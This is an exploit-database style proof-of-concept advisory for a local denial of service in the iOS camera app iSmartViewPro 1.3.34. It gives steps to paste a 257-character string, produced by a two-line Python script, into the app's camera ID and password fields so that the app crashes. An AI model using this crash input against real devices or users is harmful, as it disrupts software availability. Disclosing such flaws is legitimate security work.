iSmartViewPro 1.3.34 - Denial of Service (PoC)

# Exploit Title: iSmartViewPro 1.3.34 - Denial of Service (PoC)
# Discovery by: Ivan Marmolejo
# Discovery Date: 2019 -11-16
# Vendor Homepage: http://www.smarteyegroup.com/
# Software Link: https://apps.apple.com/mx/app/ismartviewpro/id834791071
# Tested Version: 1.3.34
# Vulnerability Type: Denial of Service (DoS) Local
# Tested on OS: iPhone 6s - iOS 13.2

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Summary: This app is specially built for P2P IP camera series. thanks to unique P2P connection technology that users are able to watch live 
video on iPhone from any purchased IP camera by simply enter camera's ID and password; no complex IP or router settings. The app have a lot of
functions, such as local record video, set ftp params, set email, set motion alarm and so on.

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Steps to Produce the Crash:

   1.- Run python code: iSmartViewPro.py
   2.- Copy content to clipboard
   3.- Open App "iSmartViewPro"
   4.- Go to "Add Camera"
   5.- go to "Add network cameras"
   6.- Paste ClipBoard on "Camara DID"
   7.- Paste ClipBoard on "Password"
   8.- Next
   9.- Crashed

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Python "iSmartViewPro" Code:

   buffer = "\x41" * 257
   print (buffer)

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